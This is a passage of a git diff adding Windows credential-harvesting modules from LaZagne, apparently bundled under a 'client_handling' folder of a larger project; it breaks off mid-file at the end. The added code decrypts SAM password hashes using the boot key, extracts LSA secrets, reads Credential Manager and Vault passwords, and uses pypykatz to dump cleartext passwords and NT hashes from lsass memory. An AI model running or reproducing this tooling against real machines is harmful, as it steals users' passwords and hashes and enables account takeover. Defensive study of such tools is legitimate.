--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/hashdump.py
@@ -0,0 +1,298 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump. If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author: Brendan Dolan-Gavitt
+@license: GNU General Public License 2.0 or later
+@contact: bdolangavitt@wesleyan.edu
+"""
+
+import hashlib
+import codecs
+from struct import pack
+
+from ..addrspace import HiveFileAddressSpace
+from .rawreg import *
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+from foreign.client_handling.lazagne.config.crypto.pyDes import des, ECB
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+from foreign.client_handling.lazagne.config.winstructure import char_to_int, chr_or_byte, int_or_bytes
+
+
+odd_parity = [
+ 1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
+ 16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
+ 32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
+ 49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
+ 64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
+ 81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
+ 97, 97, 98, 98, 100, 100, 103, 103, 104, 104, 107, 107, 109, 109, 110, 110,
+ 112, 112, 115, 115, 117, 117, 118, 118, 121, 121, 122, 122, 124, 124, 127, 127,
+ 128, 128, 131, 131, 133, 133, 134, 134, 137, 137, 138, 138, 140, 140, 143, 143,
+ 145, 145, 146, 146, 148, 148, 151, 151, 152, 152, 155, 155, 157, 157, 158, 158,
+ 161, 161, 162, 162, 164, 164, 167, 167, 168, 168, 171, 171, 173, 173, 174, 174,
+ 176, 176, 179, 179, 181, 181, 182, 182, 185, 185, 186, 186, 188, 188, 191, 191,
+ 193, 193, 194, 194, 196, 196, 199, 199, 200, 200, 203, 203, 205, 205, 206, 206,
+ 208, 208, 211, 211, 213, 213, 214, 214, 217, 217, 218, 218, 220, 220, 223, 223,
+ 224, 224, 227, 227, 229, 229, 230, 230, 233, 233, 234, 234, 236, 236, 239, 239,
+ 241, 241, 242, 242, 244, 244, 247, 247, 248, 248, 251, 251, 253, 253, 254, 254
+]
+
+# Permutation matrix for boot key
+p = [0x8, 0x5, 0x4, 0x2, 0xb, 0x9, 0xd, 0x3,
+ 0x0, 0x6, 0x1, 0xc, 0xe, 0xa, 0xf, 0x7]
+
+# Constants for SAM decrypt algorithm
+aqwerty = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0"
+anum = b"0123456789012345678901234567890123456789\0"
+antpassword = b"NTPASSWORD\0"
+almpassword = b"LMPASSWORD\0"
+
+empty_lm = codecs.decode('aad3b435b51404eeaad3b435b51404ee', 'hex')
+empty_nt = codecs.decode('31d6cfe0d16ae931b73c59d7e0c089c0', 'hex')
+
+AES_BLOCK_SIZE = 16
+
+
+def str_to_key(s):
+ key = []
+ key.append(char_to_int(s[0]) >> 1)
+ key.append(((char_to_int(s[0]) & 0x01) << 6) | (char_to_int(s[1]) >> 2))
+ key.append(((char_to_int(s[1]) & 0x03) << 5) | (char_to_int(s[2]) >> 3))
+ key.append(((char_to_int(s[2]) & 0x07) << 4) | (char_to_int(s[3]) >> 4))
+ key.append(((char_to_int(s[3]) & 0x0F) << 3) | (char_to_int(s[4]) >> 5))
+ key.append(((char_to_int(s[4]) & 0x1F) << 2) | (char_to_int(s[5]) >> 6))
+ key.append(((char_to_int(s[5]) & 0x3F) << 1) | (char_to_int(s[6]) >> 7))
+ key.append(char_to_int(s[6]) & 0x7F)
+
+ for i in range(8):
+ key[i] = (key[i] << 1)
+ key[i] = odd_parity[key[i]]
+
+ return b"".join(chr_or_byte(k) for k in key)
+
+
+def sid_to_key(sid):
+ s1 = b""
+ s1 += chr_or_byte(sid & 0xFF)
+ s1 += chr_or_byte((sid >> 8) & 0xFF)
+ s1 += chr_or_byte((sid >> 16) & 0xFF)
+ s1 += chr_or_byte((sid >> 24) & 0xFF)
+ s1 += int_or_bytes(s1[0])
+ s1 += int_or_bytes(s1[1])
+ s1 += int_or_bytes(s1[2])
+ s2 = int_or_bytes(s1[3]) + int_or_bytes(s1[0]) + int_or_bytes(s1[1]) + int_or_bytes(s1[2])
+ s2 += int_or_bytes(s2[0]) + int_or_bytes(s2[1]) + int_or_bytes(s2[2])
+ return str_to_key(s1), str_to_key(s2)
+
+
+def find_control_set(sysaddr):
+ root = get_root(sysaddr)
+ if not root:
+ return 1
+
+ csselect = open_key(root, [b"Select"])
+ if not csselect:
+ return 1
+
+ for v in values(csselect):
+ if v.Name == b"Current":
+ return v.Data.value
+
+
+def get_bootkey(sysaddr):
+ cs = find_control_set(sysaddr)
+ lsa_base = [b"ControlSet%03d" % cs, b"Control", b"Lsa"]
+ lsa_keys = [b"JD", b"Skew1", b"GBG", b"Data"]
+
+ root = get_root(sysaddr)
+ if not root:
+ return None
+
+ lsa = open_key(root, lsa_base)
+ if not lsa:
+ return None
+
+ bootkey = b""
+
+ for lk in lsa_keys:
+ key = open_key(lsa, [lk])
+ class_data = sysaddr.read(key.Class.value, key.ClassLength.value)
+ bootkey += codecs.decode(class_data.decode('utf-16-le'), 'hex')
+
+ bootkey_scrambled = b""
+ for i in range(len(bootkey)):
+ try:
+ bootkey_scrambled += bootkey[p[i]]
+ except TypeError:
+ bootkey_scrambled += bytes([bootkey[p[i]]])
+ return bootkey_scrambled
+
+
+def get_hbootkey(samaddr, bootkey):
+ sam_account_path = [b"SAM", b"Domains", b"Account"]
+
+ root = get_root(samaddr)
+ if not root:
+ return None
+
+ sam_account_key = open_key(root, sam_account_path)
+ if not sam_account_key:
+ return None
+
+ F = None
+ for v in values(sam_account_key):
+ if v.Name == b'F':
+ F = samaddr.read(v.Data.value, v.DataLength.value)
+ if not F:
+ return None
+
+ revision = ord(F[0x00])
+ if revision == 2:
+ md5 = hashlib.md5(F[0x70:0x80] + aqwerty + bootkey + anum)
+ rc4_key = md5.digest()
+ rc4 = RC4(rc4_key)
+ hbootkey = rc4.encrypt(F[0x80:0xA0])
+
+ return hbootkey
+
+ elif revision == 3:
+ iv = F[0x78:0x88]
+ encryptedHBootKey = F[0x88:0xA8]
+ cipher = AESModeOfOperationCBC(bootkey, iv=iv)
+ hbootkey = b"".join([cipher.decrypt(encryptedHBootKey[i:i + AES_BLOCK_SIZE]) for i in range(0, len(encryptedHBootKey), AES_BLOCK_SIZE)])
+
+ return hbootkey[:16]
+
+
+def get_user_keys(samaddr):
+ user_key_path = [b"SAM", b"Domains", b"Account", b"Users"]
+ root = get_root(samaddr)
+ if not root:
+ return []
+
+ user_key = open_key(root, user_key_path)
+ if not user_key:
+ return []
+
+ return [k for k in subkeys(user_key) if k.Name != b"Names"]
+
+
+def decrypt_single_hash(rid, hbootkey, enc_hash, lmntstr):
+ if enc_hash == "":
+ return ""
+ (des_k1, des_k2) = sid_to_key(rid)
+ d1 = des(des_k1, ECB)
+ d2 = des(des_k2, ECB)
+ md5 = hashlib.md5()
+ md5.update(hbootkey[:0x10] + pack("<L", rid) + lmntstr)
+ rc4_key = md5.digest()
+ rc4 = RC4(rc4_key)
+ obfkey = rc4.encrypt(enc_hash)
+ hash_ = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:])
+ return hash_
+
+
+def decrypt_single_salted_hash(rid, hbootkey, enc_hash, lmntstr, salt):
+ if enc_hash == "":
+ return ""
+ (des_k1, des_k2) = sid_to_key(rid)
+ d1 = des(des_k1, ECB)
+ d2 = des(des_k2, ECB)
+ cipher = AESModeOfOperationCBC(hbootkey, salt)
+ obfkey = b"".join([cipher.decrypt(enc_hash[i:i + AES_BLOCK_SIZE]) for i in range(0, len(enc_hash), AES_BLOCK_SIZE)])
+
+ hash_ = d1.decrypt(obfkey[:8]) + d2.decrypt(obfkey[8:16])
+ return hash_
+
+
+def get_user_hashes(user_key, hbootkey):
+ samaddr = user_key.space
+ rid = int(user_key.Name, 16)
+ V = None
+ for v in values(user_key):
+ if v.Name == 'V':
+ V = samaddr.read(v.Data.value, v.DataLength.value)
+ if not V: return None
+ hash_offset = unpack("<L", V[0xa8:0xa8+4])[0] + 0xCC
+
+ lm_offset_bytes = V[0x9c:0x9c+4]
+ nt_offset_bytes = V[0x9c+12:0x9c+16]
+ lm_offset = unpack("<L", lm_offset_bytes)[0] + 204
+ nt_offset = unpack("<L", nt_offset_bytes)[0] + 204
+
+ lm_revision = int(codecs.encode(V[lm_offset+2:lm_offset+3], 'hex').decode(), 16)
+ if lm_revision == 1:
+ lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 20 else False
+ enc_lm_hash = V[hash_offset+4:hash_offset+20] if lm_exists else ""
+ lmhash = decrypt_single_hash(rid, hbootkey, enc_lm_hash, almpassword)
+
+ elif lm_revision == 2:
+ lm_exists = True if unpack("<L", V[0x9c+4:0x9c+8])[0] == 56 else False
+ lm_salt = V[hash_offset+4:hash_offset+20] if lm_exists else ""
+ enc_lm_hash = V[hash_offset+20:hash_offset+52] if lm_exists else ""
+ lmhash = decrypt_single_salted_hash(rid, hbootkey, enc_lm_hash, almpassword, lm_salt)
+
+ nt_revision = int(codecs.encode(V[nt_offset+2:nt_offset+3], 'hex').decode(), 16)
+ if nt_revision == 1:
+ nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 20 else False
+ enc_nt_hash = V[nt_offset+4:nt_offset+20] if nt_exists else ""
+ nthash = decrypt_single_hash(rid, hbootkey, enc_nt_hash, antpassword)
+
+ elif nt_revision == 2:
+ nt_exists = True if unpack("<L", V[0x9c+16:0x9c+20])[0] == 56 else False
+ nt_salt = V[nt_offset+8:nt_offset+24] if nt_exists else ""
+ enc_nt_hash = V[nt_offset+24:nt_offset+56] if nt_exists else ""
+ nthash = decrypt_single_salted_hash(rid, hbootkey, enc_nt_hash, antpassword, nt_salt)
+
+ return lmhash, nthash
+
+
+def get_user_name(user_key):
+ samaddr = user_key.space
+ V = None
+ for v in values(user_key):
+ if v.Name == b'V':
+ V = samaddr.read(v.Data.value, v.DataLength.value)
+ if not V:
+ return None
+
+ name_offset = unpack("<L", V[0x0c:0x10])[0] + 0xCC
+ name_length = unpack("<L", V[0x10:0x14])[0]
+
+ username = V[name_offset:name_offset + name_length].decode('utf-16-le')
+ return username
+
+
+def dump_hashes(sysaddr, samaddr):
+ bootkey = get_bootkey(sysaddr)
+ hbootkey = get_hbootkey(samaddr, bootkey)
+ results = []
+ for user in get_user_keys(samaddr):
+ lmhash, nthash = get_user_hashes(user, hbootkey)
+ if not lmhash:
+ lmhash = empty_lm
+ if not nthash:
+ nthash = empty_nt
+ results.append(
+ "%s:%d:%s:%s:::" % (get_user_name(user), int(user.Name, 16), codecs.encode(lmhash, 'hex').decode(),
+ codecs.encode(nthash, 'hex').decode()))
+ return results
+
+
+def dump_file_hashes(syshive_fname, samhive_fname):
+ sysaddr = HiveFileAddressSpace(syshive_fname)
+ samaddr = HiveFileAddressSpace(samhive_fname)
+ return dump_hashes(sysaddr, samaddr)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py
new file mode 100644
index 0000000..232a0f4
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/lsasecrets.py
@@ -0,0 +1,183 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump. If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author: Brendan Dolan-Gavitt
+@license: GNU General Public License 2.0 or later
+@contact: bdolangavitt@wesleyan.edu
+"""
+
+import hashlib
+import os
+
+from .rawreg import *
+from ..addrspace import HiveFileAddressSpace
+from .hashdump import get_bootkey, str_to_key
+from foreign.client_handling.lazagne.config.crypto.rc4 import RC4
+from foreign.client_handling.lazagne.config.crypto.pyDes import des, ECB
+from foreign.client_handling.lazagne.config.crypto.pyaes.aes import AESModeOfOperationCBC
+
+
+def get_lsa_key(secaddr, bootkey, vista):
+ root = get_root(secaddr)
+ if not root:
+ return None
+
+ if vista:
+ enc_reg_key = open_key(root, [b"Policy", b"PolEKList"])
+ else:
+ enc_reg_key = open_key(root, [b"Policy", b"PolSecretEncryptionKey"])
+
+ if not enc_reg_key:
+ return None
+
+ enc_reg_value = enc_reg_key.ValueList.List[0]
+ if not enc_reg_value:
+ return None
+
+ obf_lsa_key = secaddr.read(enc_reg_value.Data.value, enc_reg_value.DataLength.value)
+ if not obf_lsa_key:
+ return None
+
+ if not vista:
+ md5 = hashlib.md5()
+ md5.update(bootkey)
+ for i in range(1000):
+ md5.update(obf_lsa_key[60:76])
+ rc4key = md5.digest()
+ rc4 = RC4(rc4key)
+ lsa_key = rc4.encrypt(obf_lsa_key[12:60])
+ lsa_key = lsa_key[0x10:0x20]
+ else:
+ lsa_key = decrypt_aes(obf_lsa_key, bootkey)
+ lsa_key = lsa_key[68:100]
+
+ return lsa_key
+
+
+def decrypt_secret(secret, key):
+ """Python implementation of SystemFunction005.
+
+ Decrypts a block of data with DES using given key.
+ Note that key can be longer than 7 bytes."""
+ decrypted_data = b''
+ j = 0 # key index
+ for i in range(0, len(secret), 8):
+ enc_block = secret[i:i + 8]
+ block_key = key[j:j + 7]
+ des_key = str_to_key(block_key)
+ crypter = des(des_key, ECB)
+
+ try:
+ decrypted_data += crypter.decrypt(enc_block)
+ except Exception:
+ continue
+
+ j += 7
+ if len(key[j:j + 7]) < 7:
+ j = len(key[j:j + 7])
+
+ (dec_data_len,) = unpack("<L", decrypted_data[:4])
+ return decrypted_data[8:8 + dec_data_len]
+
+
+def decrypt_aes(secret, key):
+ sha = hashlib.sha256()
+ sha.update(key)
+ for _i in range(1, 1000 + 1):
+ sha.update(secret[28:60])
+ aeskey = sha.digest()
+
+ data = b""
+ for i in range(60, len(secret), 16):
+ aes = AESModeOfOperationCBC(aeskey, iv="\x00" * 16)
+ buf = secret[i: i + 16]
+ if len(buf) < 16:
+ buf += (16 - len(buf)) * "\00"
+
+ data += aes.decrypt(buf)
+
+ return data
+
+
+def get_secret_by_name(secaddr, name, lsakey, vista):
+ root = get_root(secaddr)
+ if not root:
+ return None
+
+ enc_secret_key = open_key(root, [b"Policy", b"Secrets", name, b"CurrVal"])
+ if not enc_secret_key:
+ return None
+
+ enc_secret_value = enc_secret_key.ValueList.List[0]
+ if not enc_secret_value:
+ return None
+
+ enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret_value.DataLength.value)
+ if not enc_secret:
+ return None
+
+ if vista:
+ secret = decrypt_aes(enc_secret, lsakey)
+ else:
+ secret = decrypt_secret(enc_secret[0xC:], lsakey)
+
+ return secret
+
+
+def get_secrets(sysaddr, secaddr, vista):
+ root = get_root(secaddr)
+ if not root:
+ return None
+
+ bootkey = get_bootkey(sysaddr)
+ lsakey = get_lsa_key(secaddr, bootkey, vista)
+
+ secrets_key = open_key(root, [b"Policy", b"Secrets"])
+ if not secrets_key:
+ return None
+
+ secrets = {}
+ for key in subkeys(secrets_key):
+ sec_val_key = open_key(key, [b"CurrVal"])
+ if not sec_val_key:
+ continue
+
+ enc_secret_value = sec_val_key.ValueList.List[0]
+ if not enc_secret_value:
+ continue
+
+ enc_secret = secaddr.read(enc_secret_value.Data.value, enc_secret_value.DataLength.value)
+ if not enc_secret:
+ continue
+
+ if vista:
+ secret = decrypt_aes(enc_secret, lsakey)
+ else:
+ secret = decrypt_secret(enc_secret[0xC:], lsakey)
+
+ secrets[key.Name] = secret
+
+ return secrets
+
+
+def get_file_secrets(sysfile, secfile, vista):
+ if not os.path.isfile(sysfile) or not os.path.isfile(secfile):
+ return
+
+ sysaddr = HiveFileAddressSpace(sysfile)
+ secaddr = HiveFileAddressSpace(secfile)
+
+ return get_secrets(sysaddr, secaddr, vista)
diff --git a/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py
new file mode 100644
index 0000000..9d80355
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/creddump7/win32/rawreg.py
@@ -0,0 +1,81 @@
+# This file is part of creddump.
+#
+# creddump is free software: you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# creddump is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with creddump. If not, see <http://www.gnu.org/licenses/>.
+
+"""
+@author: Brendan Dolan-Gavitt
+@license: GNU General Public License 2.0 or later
+@contact: bdolangavitt@wesleyan.edu
+"""
+
+from ..newobj import Obj, Pointer
+from struct import unpack
+
+ROOT_INDEX = 0x20
+LH_SIG = unpack("<H", b"lh")[0]
+LF_SIG = unpack("<H", b"lf")[0]
+RI_SIG = unpack("<H", b"ri")[0]
+
+
+def get_root(address_space):
+ return Obj("_CM_KEY_NODE", ROOT_INDEX, address_space)
+
+
+def open_key(root, key):
+ if not key:
+ return root
+
+ keyname = key.pop(0)
+ for s in subkeys(root):
+ if s.Name.upper() == keyname.upper():
+ return open_key(s, key)
+ # print "ERR: Couldn't find subkey %s of %s" % (keyname, root.Name)
+ return None
+
+
+def subkeys(key, stable=True):
+ if stable:
+ k = 0
+ else:
+ k = 1
+
+ sk = (key.SubKeyLists[k]/["pointer", ["_CM_KEY_INDEX"]]).value
+ sub_list = []
+ if (sk.Signature.value == LH_SIG or
+ sk.Signature.value == LF_SIG):
+ sub_list = sk.List
+ elif sk.Signature.value == RI_SIG:
+ lfs = []
+ for i in range(sk.Count.value):
+ off, tp = sk.get_offset(['List', i])
+ lfs.append(Pointer("pointer", sk.address+off, sk.space,
+ ["_CM_KEY_INDEX"]))
+ for lf in lfs:
+ sub_list += lf.List
+
+ for s in sub_list:
+ if s.is_valid() and s.Signature.value == 27502:
+ yield s.value
+
+
+def values(key):
+ for v in key.ValueList.List:
+ yield v.value
+
+
+def walk(root):
+ for k in subkeys(root):
+ yield k
+ for j in walk(k):
+ yield j
diff --git a/foreign/client_handling/lazagne/softwares/windows/credfiles.py b/foreign/client_handling/lazagne/softwares/windows/credfiles.py
new file mode 100644
index 0000000..7d5a76a
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/credfiles.py
@@ -0,0 +1,22 @@
+# -*- coding: utf-8 -*-
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+import os
+
+
+class CredFiles(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'credfiles', 'windows', dpapi_used=True)
+
+ def run(self):
+ pwd_found = []
+ if constant.user_dpapi and constant.user_dpapi.unlocked:
+ creds_directory = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Credentials')
+ if os.path.exists(creds_directory):
+ for cred_file in os.listdir(creds_directory):
+ # decrypting creds files (Credman module not allow to retrieve domain password)
+ cred = constant.user_dpapi.decrypt_cred(os.path.join(creds_directory, cred_file))
+ if cred:
+ pwd_found.append(cred)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/credman.py b/foreign/client_handling/lazagne/softwares/windows/credman.py
new file mode 100644
index 0000000..309a125
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/credman.py
@@ -0,0 +1,34 @@
+# -*- coding: utf-8 -*-
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import *
+
+
+class Credman(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'credman', 'windows', only_from_current_user=True)
+
+ def run(self):
+ pwd_found = []
+ # FOR XP
+ # - password are encrypted with specific salt depending on its Type
+ # entropy = 'abe2869f-9b47-4cd9-a358-c22904dba7f7\\0' # FOR CRED_TYPE_GENERIC
+ # entropy = '82BD0E67-9FEA-4748-8672-D5EFE5B779B0\\0' # FOR CRED_TYPE_DOMAIN_VISIBLE_PASSWORD
+ # CryptUnprotectData(byref(blobIn),None,byref(blobEntropy),None,None,CRYPTPROTECT_UI_FORBIDDEN,byref(blobOut))
+
+ creds = POINTER(PCREDENTIAL)()
+ count = c_ulong()
+
+ if CredEnumerate(None, 0, byref(count), byref(creds)) == 1:
+ for i in range(count.value):
+ c = creds[i].contents
+ if c.Type == CRED_TYPE_GENERIC or c.Type == CRED_TYPE_DOMAIN_VISIBLE_PASSWORD:
+ # Remove password too long
+ if c.CredentialBlobSize.real < 200:
+ pwd_found.append({
+ 'URL': c.TargetName,
+ 'Login': c.UserName,
+ 'Password': c.CredentialBlob[:c.CredentialBlobSize.real] # \\x00 could be deleted
+ })
+
+ CredFree(creds)
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/hashdump.py b/foreign/client_handling/lazagne/softwares/windows/hashdump.py
new file mode 100644
index 0000000..2d53f28
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/hashdump.py
@@ -0,0 +1,15 @@
+# -*- coding: utf-8 -*-
+from .creddump7.win32.hashdump import dump_file_hashes
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+
+
+class Hashdump(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'hashdump', 'windows', system_module=True)
+
+ def run(self):
+ hashdump = dump_file_hashes(constant.hives['system'], constant.hives['sam'])
+ if hashdump:
+ pwd_found = ['__Hashdump__', hashdump]
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/lsa_secrets.py b/foreign/client_handling/lazagne/softwares/windows/lsa_secrets.py
new file mode 100644
index 0000000..42645d6
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/lsa_secrets.py
@@ -0,0 +1,34 @@
+# -*- coding: utf-8 -*-
+import struct
+
+from .creddump7.win32.lsasecrets import get_file_secrets
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import get_os_version
+from foreign.client_handling.lazagne.config.constant import constant
+
+
+class LSASecrets(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'lsa_secrets', 'windows', system_module=True)
+
+ def run(self):
+
+ # DPAPI structure could compute lsa secrets as well, so do not do it again
+ if constant.lsa_secrets:
+ return ['__LSASecrets__', constant.lsa_secrets]
+
+ is_vista_or_higher = False
+ if float(get_os_version()) >= 6.0:
+ is_vista_or_higher = True
+
+ # Get LSA Secrets
+ secrets = get_file_secrets(constant.hives['system'], constant.hives['security'], is_vista_or_higher)
+ if secrets:
+ # Clear DPAPI master key
+ clear = secrets[b'DPAPI_SYSTEM']
+ size = struct.unpack_from("<L", clear)[0]
+ secrets[b'DPAPI_SYSTEM'] = clear[16:16 + 44]
+
+ # Keep value to be reused in other module (e.g wifi)
+ constant.lsa_secrets = secrets
+ return ['__LSASecrets__', secrets]
diff --git a/foreign/client_handling/lazagne/softwares/windows/ppypykatz.py b/foreign/client_handling/lazagne/softwares/windows/ppypykatz.py
new file mode 100644
index 0000000..d0d91d1
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/ppypykatz.py
@@ -0,0 +1,73 @@
+# -*- coding: utf-8 -*-
+
+# Thanks to @skelsec for his awesome tool Pypykatz
+# Checks his project here: https://github.com/skelsec/pypykatz
+
+import codecs
+
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+from pypykatz.pypykatz import pypykatz
+
+
+class Pypykatz(ModuleInfo):
+ """
+ Pypykatz dumps all secrets from the lsass.exe memory
+ It does not work if:
+ - LSASS is running as a protected process
+ - A security product blocks this access
+ """
+
+ def __init__(self):
+ ModuleInfo.__init__(self, 'pypykatz', 'windows', system_module=True)
+
+ def run(self):
+ mimi = None
+ try:
+ mimi = pypykatz.go_live()
+ except Exception:
+ pass
+
+ if mimi:
+ results = {}
+ logon_sessions = mimi.to_dict().get('logon_sessions', [])
+ for logon_session in logon_sessions:
+
+ # Right now kerberos_creds, dpapi_creds and credman_creds results are not used
+ user = logon_sessions[logon_session].to_dict()
+
+ # Get cleartext password
+ for i in ['ssp_creds', 'livessp_creds', 'tspkg_creds', 'wdigest_creds']:
+ for data in user.get(i, []):
+ if all((data['username'], data['domainname'], data['password'])):
+ login = data['username']
+ if login not in results:
+ results[login] = {}
+
+ results[login]['Domain'] = data['domainname']
+ results[login]['Password'] = data['password']
+
+ # msv_creds to get sha1 user hash
+ for data in user.get('msv_creds', []):
+ if data['username']:
+ login = data['username']
+ else:
+ login = user['username']
+
+ if login not in results:
+ results[login] = {}
+
+ if data['SHAHash']:
+ results[login]['Shahash'] = codecs.encode(data['SHAHash'], 'hex')
+ if data['LMHash']:
+ results[login]['Lmhash'] = codecs.encode(data['LMHash'], 'hex')
+ if data['NThash']:
+ results[login]['Nthash'] = codecs.encode(data['NThash'], 'hex')
+
+ constant.pypykatz_result = results
+ pwd_found = []
+ for user in results:
+ results[user]['Login'] = user
+ pwd_found.append(results[user])
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/vault.py b/foreign/client_handling/lazagne/softwares/windows/vault.py
new file mode 100644
index 0000000..9c8e8cc
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/vault.py
@@ -0,0 +1,71 @@
+# -*- coding: utf-8 -*-
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.winstructure import *
+from ctypes.wintypes import *
+
+
+class Vault(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'vault', 'windows', only_from_current_user=True)
+
+ def run(self):
+
+ # retrieve passwords (IE, etc.) using the Windows Vault API
+ if float(get_os_version()) <= 6.1:
+ self.info(u'Vault not supported for this OS')
+ return
+
+ cbVaults = DWORD()
+ vaults = LPGUID()
+ hVault = HANDLE(INVALID_HANDLE_VALUE)
+ cbItems = DWORD()
+ items = c_char_p()
+ pwd_found = []
+
+ if vaultEnumerateVaults(0, byref(cbVaults), byref(vaults)) == 0:
+ if cbVaults.value == 0:
+ self.debug(u'No Vaults found')
+ return
+ else:
+ for i in range(cbVaults.value):
+ if vaultOpenVault(byref(vaults[i]), 0, byref(hVault)) == 0:
+ if hVault:
+ if vaultEnumerateItems(hVault, 0x200, byref(cbItems), byref(items)) == 0:
+
+ for j in range(cbItems.value):
+
+ items8 = cast(items, POINTER(VAULT_ITEM_WIN8))
+ pItem8 = PVAULT_ITEM_WIN8()
+ try:
+ values = {
+ 'URL': str(items8[j].pResource.contents.data.string),
+ 'Login': str(items8[j].pUsername.contents.data.string)
+ }
+ if items8[j].pName:
+ values['Name'] = items8[j].pName
+
+ if vaultGetItem8(hVault, byref(items8[j].id), items8[j].pResource,
+ items8[j].pUsername, items8[j].unknown0, None, 0,
+ byref(pItem8)) == 0:
+
+ password = pItem8.contents.pPassword.contents.data.string
+ # Remove password too long
+ if password and len(password) < 100:
+ values['Password'] = password
+
+ pwd_found.append(values)
+
+ except Exception as e:
+ self.debug(e)
+
+ if pItem8:
+ vaultFree(pItem8)
+
+ if items:
+ vaultFree(items)
+
+ vaultCloseVault(byref(hVault))
+
+ vaultFree(vaults)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/vaultfiles.py b/foreign/client_handling/lazagne/softwares/windows/vaultfiles.py
new file mode 100644
index 0000000..57544b8
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/vaultfiles.py
@@ -0,0 +1,23 @@
+# -*- coding: utf-8 -*-
+from foreign.client_handling.lazagne.config.module_info import ModuleInfo
+from foreign.client_handling.lazagne.config.constant import constant
+import os
+
+
+class VaultFiles(ModuleInfo):
+ def __init__(self):
+ ModuleInfo.__init__(self, 'vaultfiles', 'windows', dpapi_used=True)
+
+ def run(self):
+
+ pwd_found = []
+ if constant.user_dpapi and constant.user_dpapi.unlocked:
+ main_vault_directory = os.path.join(constant.profile['APPDATA'], u'..', u'Local', u'Microsoft', u'Vault')
+ main_vault_directory = os.path.abspath(main_vault_directory)
+ if os.path.exists(main_vault_directory):
+ for vault_directory in os.listdir(main_vault_directory):
+ cred = constant.user_dpapi.decrypt_vault(os.path.join(main_vault_directory, vault_directory))
+ if cred:
+ pwd_found.append(cred)
+
+ return pwd_found
diff --git a/foreign/client_handling/lazagne/softwares/windows/windows.py b/foreign/client_handling/lazagne/softwares/windows/windows.py
new file mode 100644
index 0000000..7527f3c
--- /dev/null
+++ b/foreign/client_handling/lazagne/softwares/windows/windows.py
@@ -0,0 +1,77 @@
+# -*- coding: utf-8 -*-
+try:
